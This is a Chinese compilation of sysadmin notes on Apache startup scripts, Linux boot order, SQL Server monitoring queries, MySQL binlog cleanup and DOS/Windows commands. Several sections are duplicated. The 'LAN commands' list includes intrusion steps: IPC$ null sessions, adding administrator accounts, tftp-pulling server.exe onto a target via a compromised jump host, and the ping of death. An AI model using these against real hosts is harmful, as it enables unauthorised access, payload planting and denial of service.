1、在linux下安装了apache 服务(通过下载二进制文件经济编译安装、而非rpm包)、apache 服务启动命令:
/server/apache/bin/apachectl start 。让apache服务运行在运行级别3下面。 命令如下:
1)touch /etc/rc.d/init.d/apache
vi /etc/rc.d/init.d/apache
chown -r root /etc/rc.d/init.d/apache
chmod 700 /etc/rc.d/init.d/apache
ln -s /etc/rc.d/init.d/apache /etc/rc.d/rc3.d/s60apache #s
是start的简写、代表启动、k是kill的简写、代表关闭。60数字 代表启动的顺序。(对于iptv系统而言、许多服务都是建立在
数据库
启动的前提下才能够正常启动的、可以通过该数字就行调整脚本的 启动顺序))
apache的内容:
#!/bin/bash
#start httpd service
/server/apache/bin/apachectl start
至此 apache服务就可以在运行级别3下 随机自动启动了。(可以结合chkconfig 对启动服务进行相应的调整)
-----------------------------------------------------------------------------------------------------------------------------------
在Redhat Redflag centos fc linux系统里面脚本的启动
先后:
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端
rc.sysinit
rc.d(里面的脚本)
rc.local
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/etc/bashrc
/root/.bashrc
/root/.bash_profile
在Suse Linux (sles server or Desktop 10)
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端 /etc/init.d/boot 里面包括:
. /etc/rc.status
./etc/sysconfig/boot
./etc/init.d/boot.d下面的脚本
./etc/init.d/boot.local
rc X.d(里面的脚本)
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/root/.bashrc
/root/.profile
先后:
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端
rc.sysinit
rc.d(里面的脚本)
rc.local
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/etc/bashrc
/root/.bashrc
/root/.bash_profile
在Suse Linux (sles server or Desktop 10)
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端 /etc/init.d/boot 里面包括:
. /etc/rc.status
./etc/sysconfig/boot
./etc/init.d/boot.d下面的脚本
./etc/init.d/boot.local
rc X.d(里面的脚本)
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/root/.bashrc
/root/.profile
先后:
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端
rc.sysinit
rc.d(里面的脚本)
rc.local
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/etc/bashrc
/root/.bashrc
/root/.bash_profile
在Suse Linux (sles server or Desktop 10)
第一步:通过/boot/vm进行启动 vmlinuz
第二步:init /etc/inittab
第三步:启动相应的脚本,并且打开终端 /etc/init.d/boot 里面包括:
. /etc/rc.status
./etc/sysconfig/boot
./etc/init.d/boot.d下面的脚本
./etc/init.d/boot.local
rc X.d(里面的脚本)
第四步:启动login登录界面 login
第五步:在用户登录的时候执行sh脚本的顺序:每次登录的时候都会完全执行的
/etc/profile.d/file
/etc/profile
/root/.bashrc
/root/.profile
监控 SQL Server 的运行状况
URL: http://technet.microsoft.com/zh-cn/library/bb838723(office.12).aspx
Microsoft SQL Server 2005 提供了一些工具来监控数据库。方法之一是动态管理视图。动态管理视图 (DMV) 和动态管理函数 (DMF) 返回的服务器状态信息可用于监控服务器实例的运行状况、诊断问题和优化性能。
常规服务器动态管理对象包括:
dm_db_*:数据库和数据库对象
dm_exec_*:执行用户代码和关联的连接
dm_os_*:内存、锁定和时间安排
dm_tran_*:事务和隔离
dm_io_*:网络和磁盘的输入/输出
此部分介绍为监控 SQL Server 运行状况而针对这些动态管理视图和函数运行的一些常用查询。
CPU 瓶颈通常由以下原因引起:查询计划并非最优、配置不当、设计因素不良或硬件资源不足。下面的常用查询可帮助您确定导致 CPU 瓶颈的原因。
下面的查询使您能够深入了解当前缓存的哪些批处理或过程占用了大部分 CPU 资源。
SELECT TOP 50 SUM(qs.total_worker_time) AS total_cpu_time, SUM(qs.execution_count) AS total_execution_count, COUNT(*) AS number_of_statements, qs.sql_handle FROM sys.dm_exec_query_stats AS qs GROUP BY qs.sql_handle ORDER BY SUM(qs.total_worker_time) DESC
下面的查询显示缓存计划所占用的 CPU 总使用率(带 SQL 文本)。
SELECT total_cpu_time, total_execution_count, number_of_statements, s2.text --(SELECT SUBSTRING(s2.text, statement_start_offset / 2, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX), s2.text)) * 2) ELSE statement_end_offset END) - statement_start_offset) / 2) ) AS query_text FROM (SELECT TOP 50 SUM(qs.total_worker_time) AS total_cpu_time, SUM(qs.execution_count) AS total_execution_count, COUNT(*) AS number_of_statements, qs.sql_handle --, --MIN(statement_start_offset) AS statement_start_offset, --MAX(statement_end_offset) AS statement_end_offset FROM sys.dm_exec_query_stats AS qs GROUP BY qs.sql_handle ORDER BY SUM(qs.total_worker_time) DESC) AS stats CROSS APPLY sys.dm_exec_sql_text(stats.sql_handle) AS s2
下面的查询显示 CPU 平均占用率最高的前 50 个 SQL 语句。
SELECT TOP 50 total_worker_time/execution_count AS [Avg CPU Time], (SELECT SUBSTRING(text,statement_start_offset/2,(CASE WHEN statement_end_offset = -1 then LEN(CONVERT(nvarchar(max), text)) * 2 ELSE statement_end_offset end -statement_start_offset)/2) FROM sys.dm_exec_sql_text(sql_handle)) AS query_text, * FROM sys.dm_exec_query_stats ORDER BY [Avg CPU Time] DESC
下面显示用于找出过多编译/重新编译的 DMV 查询。
select * from sys.dm_exec_query_optimizer_info where counter = 'optimizations' or counter = 'elapsed time'
下面的示例查询显示已重新编译的前 25 个存储过程。plan_generation_num 指示该查询已重新编译的次数。
select top 25 sql_text.text, sql_handle, plan_generation_num, execution_count, dbid, objectid from sys.dm_exec_query_stats a cross apply sys.dm_exec_sql_text(sql_handle) as sql_text where plan_generation_num > 1 order by plan_generation_num desc
效率较低的查询计划可能增大 CPU 占用率。
下面的查询显示哪个查询占用了最多的 CPU 累计使用率。
SELECT highest_cpu_queries.plan_handle, highest_cpu_queries.total_worker_time, q.dbid, q.objectid, q.number, q.encrypted, q.[text] from (select top 50 qs.plan_handle, qs.total_worker_time from sys.dm_exec_query_stats qs order by qs.total_worker_time desc) as highest_cpu_queries cross apply sys.dm_exec_sql_text(plan_handle) as q order by highest_cpu_queries.total_worker_time desc
下面的查询显示一些可能占用大量 CPU 使用率的运算符(例如 ‘%Hash Match%’、‘%Sort%’)以找出可疑对象。
select * from sys.dm_exec_cached_plans cross apply sys.dm_exec_query_plan(plan_handle) where cast(query_plan as nvarchar(max)) like '%Sort%' or cast(query_plan as nvarchar(max)) like '%Hash Match%'
如果已检测到效率低下并导致 CPU 占用率较高的查询计划,请对该查询中涉及的表运行 UPDATE STATISTICS 以查看该问题是否仍然存在。然后,收集相关数据并将此问题报告给 PerformancePoint 规划支持人员。
如果您的系统存在过多的编译和重新编译,可能会导致系统出现与 CPU 相关的性能问题。
您可以运行下面的 DMV 查询来找出过多的编译/重新编译。
select * from sys.dm_exec_query_optimizer_info where counter = 'optimizations' or counter = 'elapsed time'
下面的示例查询显示已重新编译的前 25 个存储过程。plan_generation_num 指示该查询已重新编译的次数。
select top 25 sql_text.text, sql_handle, plan_generation_num, execution_count, dbid, objectid from sys.dm_exec_query_stats a cross apply sys.dm_exec_sql_text(sql_handle) as sql_text where plan_generation_num > 1 order by plan_generation_num desc
如果已检测到过多的编译或重新编译,请尽可能多地收集相关数据并将其报告给规划支持人员。
开始内存压力检测和调查之前,请确保已启用 SQL Server 中的高级选项。请先对 master 数据库运行以下查询以启用此选项。
sp_configure 'show advanced options' go sp_configure 'show advanced options', 1 go reconfigure go
首先运行以下查询以检查内存相关配置选项。
sp_configure 'awe_enabled' go sp_configure 'min server memory' go sp_configure 'max server memory' go sp_configure 'min memory per query' go sp_configure 'query wait' go
运行下面的 DMV 查询以查看 CPU、计划程序内存和缓冲池信息。
select cpu_count, hyperthread_ratio, scheduler_count, physical_memory_in_bytes / 1024 / 1024 as physical_memory_mb, virtual_memory_in_bytes / 1024 / 1024 as virtual_memory_mb, bpool_committed * 8 / 1024 as bpool_committed_mb, bpool_commit_target * 8 / 1024 as bpool_target_mb, bpool_visible * 8 / 1024 as bpool_visible_mb from sys.dm_os_sys_info
检查闩锁等待统计信息以确定 I/O 瓶颈。运行下面的 DMV 查询以查找 I/O 闩锁等待统计信息。
select wait_type, waiting_tasks_count, wait_time_ms, signal_wait_time_ms, wait_time_ms / waiting_tasks_count from sys.dm_os_wait_stats where wait_type like 'PAGEIOLATCH%' and waiting_tasks_count > 0 order by wait_type
如果 waiting_task_counts 和 wait_time_ms 与正常情况相比有显著变化,则可以确定存在 I/O 问题。获取 SQL Server 平稳运行时性能计数器和主要 DMV 查询输出的基线非常重要。
这些 wait_types 可以指示您的 I/O 子系统是否遇到瓶颈。
使用以下 DMV 查询来查找当前挂起的 I/O 请求。请定期执行此查询以检查 I/O 子系统的运行状况,并隔离 I/O 瓶颈中涉及的物理磁盘。
select database_id, file_id, io_stall, io_pending_ms_ticks, scheduler_address from sys.dm_io_virtual_file_stats(NULL, NULL)t1, sys.dm_io_pending_io_requests as t2 where t1.file_handle = t2.io_handle
在正常情况下,该查询通常不返回任何内容。如果此查询返回一些行,则需要进一步调查。
您还可以执行下面的 DMV 查询以查找 I/O 相关查询。
select top 5 (total_logical_reads/execution_count) as avg_logical_reads, (total_logical_writes/execution_count) as avg_logical_writes, (total_physical_reads/execution_count) as avg_physical_reads, Execution_count, statement_start_offset, p.query_plan, q.text from sys.dm_exec_query_stats cross apply sys.dm_exec_query_plan(plan_handle) p cross apply sys.dm_exec_sql_text(plan_handle) as q order by (total_logical_reads + total_logical_writes)/execution_count Desc
下面的 DMV 查询可用于查找哪些批处理/请求生成的 I/O 最多。如下所示的 DMV 查询可用于查找可生成最多 I/O 的前五个请求。调整这些查询将提高系统性能。
select top 5 (total_logical_reads/execution_count) as avg_logical_reads, (total_logical_writes/execution_count) as avg_logical_writes, (total_physical_reads/execution_count) as avg_phys_reads, Execution_count, statement_start_offset as stmt_start_offset, sql_handle, plan_handle from sys.dm_exec_query_stats order by (total_logical_reads + total_logical_writes) Desc
运行下面的查询可确定阻塞的会话。
select blocking_session_id, wait_duration_ms, session_id from sys.dm_os_waiting_tasks where blocking_session_id is not null
使用此调用可找出 blocking_session_id 所返回的 SQL。例如,如果 blocking_session_id 是 87,则运行此查询可获得相应的 SQL。
dbcc INPUTBUFFER(87)
下面的查询显示 SQL 等待分析和前 10 个等待的资源。
select top 10 * from sys.dm_os_wait_stats --where wait_type not in ('CLR_SEMAPHORE','LAZYWRITER_SLEEP','RESOURCE_QUEUE','SLEEP_TASK','SLEEP_SYSTEMTASK','WAITFOR') order by wait_time_ms desc
若要找出哪个 spid 正在阻塞另一个 spid,可在数据库中创建以下存储过程,然后执行该存储过程。此存储过程会报告此阻塞情况。键入 sp_who 可找出 @spid;@spid 是可选参数。
create proc dbo.sp_block (@spid bigint=NULL) as select t1.resource_type, 'database'=db_name(resource_database_id), 'blk object' = t1.resource_associated_entity_id, t1.request_mode, t1.request_session_id, t2.blocking_session_id from sys.dm_tran_locks as t1, sys.dm_os_waiting_tasks as t2 where t1.lock_owner_address = t2.resource_address and t1.request_session_id = isnull(@spid,t1.request_session_id)
以下是使用此存储过程的示例。
exec sp_block exec sp_block @spid = 7
mysql-bin.000001文件是怎么产生的及处理方法
mysql-bin.000001、mysql-bin.000002等文件是数据库的操作日志,例如UPDATE一个表,或者DELETE一些数据,即使该语句没有匹配的数据,这个命令也会存储到日志文件中,还包括每个语句执行的时间,也会记录进去的。
这样做主要有以下两个目的:
1:数据恢复
如果你的数据库出问题了,而你之前有过备份,那么可以看日志文件,找出是哪个命令导致你的数据库出问题了,想办法挽回损失。
2:主从服务器之间同步数据
主服务器上所有的操作都在记录日志中,从服务器可以根据该日志来进行,以确保两个同步。
处理方法分两种情况:
1:只有一个mysql服务器,那么可以简单的注释掉这个选项就行了。
vi /etc/my.cnf把里面的 log-bin 这一行注释掉,重启mysql服务即可。
2:如果你的环境是主从服务器,那么就需要做以下操作了。
A:在每个从属服务器上,使用SHOW SLAVE STATUS来检查它正在读取哪个日志。
B:使用SHOW MASTER LOGS获得主服务器上的一系列日志。
C:在所有的从属服务器中判定最早的日志,这个是目标日志,如果所有的从属服务器是更新的,就是清单上的最后一个日志。
D:清理所有的日志,但是不包括目标日志,因为从服务器还要跟它同步。
清理日志方法为:
PURGE MASTER LOGS TO ‘mysql-bin.010′;
PURGE MASTER LOGS BEFORE ‘2008-12-19 21:00:00′;
如果你确定从服务器已经同步过了,跟主服务器一样了,那么可以直接 RESET MASTER 将这些文件删除。
注意,有的mysql版本不能把记录文件全部删除,否则会导致phpmyadmin读取不到mysql数据,例如我用的mysql5.1.33版本,只能删除旧的记录文件,但是无论如何要保留最后一个记录文件。
Dos常用命令
一、基础命令
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cdabcdef.ghi进入该目录。
cd\ 退回到根目录。
cd..退回到上一级目录。
3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。呵呵!)
rd 目录名:删除特定的文件夹。
4 cls
清除屏幕。
5 copy
copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。
6 move
move 路径\文件名 路径\文件名 :把一个文件移动(就是剪切+复制)到另
一个地方。
7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。
8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。
9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。
10 type
type 文本文件名:显示出文本文件的内容。
11 edit
其实这是个小程序,编辑文本文件用的。
12 ren
ren 旧文件名 新文件名:改文件名。
二、关于网络的常用命令
1 ping
ping 主机ip或名字:向目标主机发送4个icmp数据包,测试对方主机是否收
到并响应,一般常用于做普通网络是否通畅的测试。但是ping不同不代表网
络不通,有可能是目标主机装有防火墙并且阻止了icmp响应。
ping -t :不停的发送数据包。当然都很小,不能称作攻击。有些人自己写
了一些类似于ping命令的程序,不停的发送很大的数据包,以阻塞目标主机
的网络连接。
2 net
建议是用net /?获取具体帮助信息。实在是有很多参数,参数下面还有参
数。常用:net view \\主机 来看共享,net start/stop 服务 来启动和停
止服务,信使服务个人不太喜欢。
3 netstat
netstat 主机:查看主机当前的tcp/ip连接状态,如端口的状态。
4 nbtstat
nbtstat 主机:查看主机使用的NetBIOS name。
5 tracert
tracert 主机:查看从你自己到目标逐机到底经过了那些路径。如:
tracert www.ncie.gov.cn
然后等待。。。就会看到你经过的一个个路由节
点,一般大一点的路由器,如电信的主干路由,除了ip以外,都有英文标示
的。
6 pathping
pathping 主机:类似tracert,但可以显示一些tracert不能显示出来的信
息。可以自己试试。
7 ftp
字符方式的ftp,我喜欢用;)不用装cuteftp了。
8 telnet
字符方式的远程登录程序,是网络人员极其爱用的远程登录程序。我最近常
用来调试邮件服务器。
9 ipconfig 非常有用的网络配置、排错。。。命令。
不加参数显示当前机器的网络接口状态。
/all 先是详细的信息。
/release 释放当前ip。
/renew 重新申请ip。
/flushdns 刷新dns缓存。
/registerdns 重新栽dns服务器上注册自己。
。。。。。。
10 arp 操作当前的arp缓存。
-a 显示arp缓存。
-d 删除一条缓存纪录。
-s 田家一条缓存纪录。
11 nslookup 排除dns错误的利器。是一个交互的工具。使用之前请先努力弄清楚dns的作用以及dns的工作原理。
xcopy是一个外部命令,也就是说,是一个小程序,有的时候会发现软盘上没有,硬盘上也没有。。。昏倒。。。当然勇气来使比copy好用,我喜欢加/e参数。
smartdrv.exe 加载磁盘缓存,参数是缓存的大小,单位是kb。
如:smartdrv 32768 就是加载32M的缓存。
缓存的作用在你安装WIN2K的时候非常明显!不加缓存装WIN2K PRO要3小时左右,加载8M缓存后,只要30分钟。
原理是在内存中划分出一块区域,在安装期间不断地把硬盘上的数据读取到那块缓存区域中,充分利用了内存
局域网dos命令集
net use \\ip\ipc$
” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$
“密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$
“密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$
登陆后映射对方C:到本地为H:
net use \\ip\ipc$
/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip
查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
局域网dos命令集
net use \\ip\ipc$
” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$
“密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$
“密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$
登陆后映射对方C:到本地为H:
net use \\ip\ipc$
/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip
查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip
time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$
复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe
c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中
findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
